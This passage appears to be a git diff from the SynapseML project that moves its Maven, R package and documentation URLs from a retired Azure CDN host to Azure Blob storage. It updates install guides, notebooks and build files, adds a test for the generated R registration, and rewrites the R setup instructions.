com.microsoft.azure.synapse.ml.build.BuildInfo * Centralized values for package repositories and coordinates (mostly used by test pipeline frameworks) */ object PackageUtils { - private val SparkMLRepository = "https://mmlspark.azureedge.net/maven" + private val SparkMLRepository = "https://mmlspark.blob.core.windows.net/maven" private val SonatypeSnapshotsRepository = "https://oss.sonatype.org/content/repositories/snapshots" val ScalaVersionSuffix: String = BuildInfo.scalaVersion.split(".".toCharArray).dropRight(1).mkString(".") diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyRCodegen.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyRCodegen.scala new file mode 100644 index 00000000000..e4e5f890c75 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyRCodegen.scala @@ -0,0 +1,40 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.codegen + +import com.microsoft.azure.synapse.ml.core.env.FileUtilities.readFile +import com.microsoft.azure.synapse.ml.core.env.PackageUtils +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.commons.io.{FileUtils => ApacheFileUtils} + +import java.nio.file.Files + +class VerifyRCodegen extends TestBase { + + test("generated R extension uses the supported Maven repository") { + val tempDir = Files.createTempDirectory("synapseml-r-codegen").toFile + val targetDir = new java.io.File(tempDir, "target") + val conf = CodegenConfig( + name = "synapseml-core", + jarName = None, + topDir = tempDir.getAbsolutePath, + targetDir = targetDir.getAbsolutePath, + version = "1.1.3", + pythonizedVersion = "1.1.3", + rVersion = "1.1.3", + packageName = "com.microsoft.azure.synapse.ml.core" + ) + + try { + RCodegen.generateRPackageData(conf) + val registration = readFile(new java.io.File(conf.rSrcDir, "package_register.R")) + + assert(PackageUtils.PackageRepository === "https://mmlspark.blob.core.windows.net/maven") + assert(registration.contains(s"""repositories = c("${PackageUtils.PackageRepository}")""")) + assert(!registration.contains("azureedge.net")) + } finally { + ApacheFileUtils.deleteDirectory(tempDir) + } + } +} diff --git a/docs/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.ipynb b/docs/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.ipynb index 6461ff518cd..4748a7a9c9e 100644 --- a/docs/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.ipynb +++ b/docs/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.ipynb @@ -43,7 +43,7 @@ "# \"name\": \"synapseml\",\n", "# \"conf\": {\n", "# \"spark.jars.packages\": \"com.microsoft.azure:synapseml_2.12:\",\n", - "# \"spark.jars.repositories\": \"https://mmlspark.azureedge.net/maven\",\n", + "# \"spark.jars.repositories\": \"https://mmlspark.blob.core.windows.net/maven\",\n", "# \"spark.jars.excludes\": \"org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind\",\n", "# \"spark.yarn.user.classpath.first\": \"true\",\n", "# \"spark.sql.parquet.enableVectorizedReader\": \"false\"\n", diff --git a/docs/Explore Algorithms/Deep Learning/Getting Started.md b/docs/Explore Algorithms/Deep Learning/Getting Started.md index a29ecf5a6ba..7dc70da8f27 100644 --- a/docs/Explore Algorithms/Deep Learning/Getting Started.md +++ b/docs/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.1.3 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.1.3 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/docs/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.ipynb b/docs/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.ipynb index 9918fc98d9d..6a1d4169c0c 100644 --- a/docs/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.ipynb +++ b/docs/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.ipynb @@ -38,7 +38,7 @@ "\n", "1. In Cluster Libraries install from library source Maven:\n", "Coordinates: com.microsoft.azure:synapseml_2.12:1.1.0\n", - "Repository: https://mmlspark.azureedge.net/maven\n", + "Repository: https://mmlspark.blob.core.windows.net/maven\n", "\n", "2. In Cluster Libraries install from PyPI the library called plotly" ] diff --git a/docs/Get Started/Install SynapseML.md b/docs/Get Started/Install SynapseML.md index 45f9157f7c3..29a762b370b 100644 --- a/docs/Get Started/Install SynapseML.md +++ b/docs/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.5 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.1.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -63,7 +63,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -81,7 +81,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 1.1.3 version for spark 3.5 and 1.0.15 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.1.3") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -92,7 +92,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 1.1.3 version for spark 3.5 and 1.0.15 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.1.3" ``` @@ -123,7 +123,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.1.3` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/docs/Reference/Contributor Guide.md b/docs/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/docs/Reference/Contributor Guide.md +++ b/docs/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/docs/Reference/R Setup.md b/docs/Reference/R Setup.md index 8bb1943ce5e..603761112f6 100644 --- a/docs/Reference/R Setup.md +++ b/docs/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.1.3.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.1.3.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.1.3" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.1.3` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.1.3 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.1.3.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/project/BlobMavenPlugin.scala b/project/BlobMavenPlugin.scala index 63941df2331..df92d7c4d17 100644 --- a/project/BlobMavenPlugin.scala +++ b/project/BlobMavenPlugin.scala @@ -39,7 +39,7 @@ object BlobMavenPlugin extends AutoPlugin { | `${organization.value}:${moduleName.value}_${scalaBinaryVersion.value}:${version.value}` | |### Maven Resolver - | `https://mmlspark.azureedge.net/maven` + | `https://mmlspark.blob.core.windows.net/maven` |""".stripMargin } ) diff --git a/tools/docker/demo/init_notebook.py b/tools/docker/demo/init_notebook.py index f64f1fb9a88..b66f035dc0b 100644 --- a/tools/docker/demo/init_notebook.py +++ b/tools/docker/demo/init_notebook.py @@ -32,7 +32,7 @@ ), ( "spark.jars.repositories", - "https://mmlspark.azureedge.net/maven,https://mvnrepository.com/artifact/org.apache.hadoop/hadoop-azure,https://mvnrepository.com/artifact/com.microsoft.azure/azure-storage", + "https://mmlspark.blob.core.windows.net/maven", ), ], ) diff --git a/tools/helm/zeppelin/mmlsparkExamples/classification_mmlspark_2E3REACQR.zpln b/tools/helm/zeppelin/mmlsparkExamples/classification_mmlspark_2E3REACQR.zpln index 745db798d09..64c1357994c 100644 --- a/tools/helm/zeppelin/mmlsparkExamples/classification_mmlspark_2E3REACQR.zpln +++ b/tools/helm/zeppelin/mmlsparkExamples/classification_mmlspark_2E3REACQR.zpln @@ -118,7 +118,7 @@ "code": "SUCCESS", "msg": [ { - "data": "Help on package mmlspark:\n\nNAME\n mmlspark\n\nFILE\n /zeppelin/local-repo/Azure/mmlspark/0.15/mmlspark-0.15.jar/mmlspark/__init__.py\n\nDESCRIPTION\n MicrosoftML is a library of Python classes to interface with the\n Microsoft scala APIs to utilize Apache Spark to create distibuted\n machine learning models.\n \n MicrosoftML simplifies training and scoring classifiers and\n regressors, as well as facilitating the creation of models using the\n CNTK library, images, and text.\n\nPACKAGE CONTENTS\n AnalyzeImage\n AssembleFeatures\n BinaryFileReader\n BingImageReader\n BingImageSearch\n CNTKLearner\n CNTKModel\n Cacher\n CheckpointData\n ClassBalancer\n CleanMissingData\n ComputeModelStatistics\n ComputePerInstanceStatistics\n CustomInputParser\n CustomOutputParser\n DataConversion\n DescribeImage\n DetectFace\n DropColumns\n DynamicMiniBatchTransformer\n EnsembleByKey\n EntityDetector\n Explode\n FastVectorAssembler\n Featurize\n FindBestModel\n FindSimilarFace\n FixedMiniBatchTransformer\n FlattenBatch\n FluentAPI\n GenerateThumbnails\n GroupFaces\n HTTPTransformer\n HyperparamBuilder\n IdentifyFaces\n ImageFeaturizer\n ImageLIME\n ImageReader\n ImageSetAugmenter\n ImageTransformer\n ImageWriter\n IndexToValue\n JSONInputParser\n JSONOutputParser\n KeyPhraseExtractor\n Lambda\n LanguageDetector\n LightGBMClassifier\n LightGBMRegressor\n ModelDownloader\n MultiColumnAdapter\n MultiNGram\n NER\n OCR\n PageSplitter\n PartitionConsolidator\n PartitionSample\n PowerBIWriter\n RankingAdapter\n RankingAdapterModel\n RankingEvaluator\n RecognizeDomainSpecificContent\n RecognizeText\n RenameColumn\n Repartition\n SelectColumns\n ServingFunctions\n ServingImplicits\n SimpleHTTPTransformer\n StringOutputParser\n SummarizeData\n SuperpixelTransformer\n TagImage\n TextFeaturizer\n TextPreprocessor\n TextSentiment\n TimeIntervalMiniBatchTransformer\n Timer\n TrainClassifier\n TrainRegressor\n TuneHyperparameters\n TypeConversionUtils\n UDFTransformer\n UnrollBinaryImage\n UnrollImage\n Utils\n ValueIndexer\n ValueIndexerModel\n VerifyFaces\n _BingImageSearch\n _CNTKLearner\n _CNTKModel\n _FindBestModel\n _ImageFeaturizer\n _ImageTransformer\n _JSONOutputParser\n _LightGBMClassifier\n _LightGBMRegressor\n _ResizeImageTransformer\n _SimpleHTTPTransformer\n _TrainClassifier\n _TrainRegressor\n _TuneHyperparameters\n _UDFTransformer\n java_params_patch\n plot\n\nDATA\n BinaryFileFields = ['path', 'bytes']\n BinaryFileSchema = StructType(List(StructField(path,StringType,true),S...\n DEFAULT_URL = 'https://mmlspark.azureedge.net/datasets/CNTKModels/'\n ImageFields = ['path', 'height', 'width', 'type', 'bytes']\n ImageSchema = StructType(List(StructField(path,StringType,true...erTyp...\n __loader__ =

\r\n\r\nIn this tutorial, we perform the same classification task in two different ways: once using plain **`pyspark`** and once using the **`mmlspark`** library. The two methods yield the same performance, but one of the two libraries is drastically simpler to use and iterate on (can you guess which one?).\r\n\r\nThe task is simple: Predict whether a user's review of a book sold on Amazon is good (rating > 3) or bad based on the text of the review. We accomplish this by training LogisticRegression learners with different hyperparameters and choosing the best model.","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560907558_-1510106009","id":"paragraph_1549560907558_-1510106009","dateCreated":"2019-02-07T17:35:52+0000","status":"FINISHED","focus":true,"$$hashKey":"object:7270","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

103 - Simplifying Machine Learning Pipelines with mmlspark

\n

1. Introduction

\n


\n

In this tutorial, we perform the same classification task in two different ways: once using plain pyspark and once using the mmlspark library. The two methods yield the same performance, but one of the two libraries is drastically simpler to use and iterate on (can you guess which one?).

\n

The task is simple: Predict whether a user’s review of a book sold on Amazon is good (rating > 3) or bad based on the text of the review. We accomplish this by training LogisticRegression learners with different hyperparameters and choosing the best model.

\n
"}]},"runtimeInfos":{}},{"text":"%md\r\n### 2. Read the data\r\n\r\nWe download and read in the data. We show a sample below:","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560950666_-2091601662","id":"paragraph_1549560950666_-2091601662","dateCreated":"2019-02-07T17:36:11+0000","status":"FINISHED","focus":true,"$$hashKey":"object:7361","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

2. Read the data

\n

We download and read in the data. We show a sample below:

\n
"}]},"runtimeInfos":{}},{"text":"%pyspark\n# Zeppelin needs the path to be update manually to find mmlspark library\nimport sys\nsys.path.extend(sc.getConf().get(\"spark.jars\").split(\",\"))\n\nimport pandas as pd\nimport mmlspark\nfrom pyspark.sql.types import IntegerType, StringType, StructType, StructField\n\ndataFilePath = \"BookReviewsFromAmazon10K.tsv\"\ntextSchema = StructType([StructField(\"rating\", IntegerType(), False),\n StructField(\"text\", StringType(), False)])\nimport os, urllib\nif not os.path.isfile(dataFilePath):\n urllib.urlretrieve(\"https://mmlspark.azureedge.net/datasets/\" + dataFilePath, dataFilePath)\nrawData = spark.createDataFrame(pd.read_csv(dataFilePath, sep=\"\\t\", header=None), textSchema)\nrawData.show(5)\n","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560971147_-312816441","id":"paragraph_1549560971147_-312816441","dateCreated":"2019-02-07T17:36:26+0000","status":"READY","focus":true,"$$hashKey":"object:7460","runtimeInfos":{}},{"text":"%md\n### 3. Extract more features and process data\n\nReal data however is more complex than the above dataset. It is common for a dataset to have features of multiple types: text, numeric, categorical. To illustrate how difficult it is to work with these datasets, we add two numerical features to the dataset: the **word count** of the review and the **mean word length**.","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561045867_-2023351219","id":"paragraph_1549561045867_-2023351219","dateCreated":"2019-02-07T17:37:29+0000","status":"FINISHED","focus":true,"$$hashKey":"object:7616","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

3. Extract more features and process data

\n

Real data however is more complex than the above dataset. It is common for a dataset to have features of multiple types: text, numeric, categorical. To illustrate how difficult it is to work with these datasets, we add two numerical features to the dataset: the word count of the review and the mean word length.

\n
"}]},"runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.sql.functions import udf\nfrom pyspark.sql.types import LongType, FloatType, DoubleType\ndef wordCount(s):\n return len(s.split())\ndef wordLength(s):\n import numpy as np\n ss = [len(w) for w in s.split()]\n return round(float(np.mean(ss)), 2)\nwordLengthUDF = udf(wordLength, DoubleType())\nwordCountUDF = udf(wordCount, IntegerType())","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560986476_-857211016","id":"paragraph_1549560986476_-857211016","dateCreated":"2019-02-07T17:37:10+0000","status":"READY","focus":true,"$$hashKey":"object:7544","runtimeInfos":{}},{"text":"%pyspark\nfrom mmlspark import UDFTransformer\nwordLength = \"wordLength\"\nwordCount = \"wordCount\"\nwordLengthTransformer = UDFTransformer(inputCol=\"text\", outputCol=wordLength, udf=wordLengthUDF)\nwordCountTransformer = UDFTransformer(inputCol=\"text\", outputCol=wordCount, udf=wordCountUDF)","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561076902_257402397","id":"paragraph_1549561076902_257402397","dateCreated":"2019-02-07T17:38:04+0000","status":"READY","focus":true,"$$hashKey":"object:7706","runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.ml import Pipeline\ndata = Pipeline(stages=[wordLengthTransformer, wordCountTransformer]) \\\n .fit(rawData).transform(rawData) \\\n .withColumn(\"label\", rawData[\"rating\"] > 3).drop(\"rating\")","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561091918_-2108761101","id":"paragraph_1549561091918_-2108761101","dateCreated":"2019-02-07T17:38:16+0000","status":"READY","focus":true,"$$hashKey":"object:7778","runtimeInfos":{}},{"text":"%md\n### 4a. Classify using pyspark\n\nTo choose the best LogisticRegression classifier using the `pyspark` library, need to *explictly* perform the following steps:\n\n1. Process the features:\n * Tokenize the text column\n * Hash the tokenized column into a vector using hashing\n * Merge the numeric features with the vector in the step above\n2. Process the label column: cast it into the proper type.\n3. Train multiple LogisticRegression algorithms on the `train` dataset with different hyperparameters\n4. Compute the area under the ROC curve for each of the trained models and select the model with the highest metric as computed on the `test` dataset\n5. Evaluate the best model on the `validation` set\n\nAs you can see below, there is a lot of work involved and a lot of steps where something can go wrong!","user":"anonymous","config":{"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561105519_758143693","id":"paragraph_1549561105519_758143693","dateCreated":"2019-02-07T17:38:35+0000","status":"READY","focus":true,"$$hashKey":"object:7850","runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.ml.feature import Tokenizer, HashingTF\nfrom pyspark.ml.feature import VectorAssembler\n\n# Featurize text column\ntokenizer = Tokenizer(inputCol=\"text\", outputCol=\"tokenizedText\")\nnumFeatures = 10000\nhashingScheme = HashingTF(inputCol=\"tokenizedText\",\n outputCol=\"TextFeatures\",\n numFeatures=numFeatures)\ntokenizedData = tokenizer.transform(data)\nfeaturizedData = hashingScheme.transform(tokenizedData)\n\n# Merge text and numeric features in one feature column\nfeatureColumnsArray = [\"TextFeatures\", \"wordCount\", \"wordLength\"]\nassembler = VectorAssembler(\n inputCols = featureColumnsArray,\n outputCol=\"features\")\nassembledData = assembler.transform(featurizedData)\n\n# Select only columns of interest\n# Convert rating column from boolean to int\nprocessedData = assembledData \\\n .select(\"label\", \"features\") \\\n .withColumn(\"label\", assembledData.label.cast(IntegerType()))\n","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561123327_369147431","id":"paragraph_1549561123327_369147431","dateCreated":"2019-02-07T17:38:50+0000","status":"READY","focus":true,"$$hashKey":"object:7922","runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom 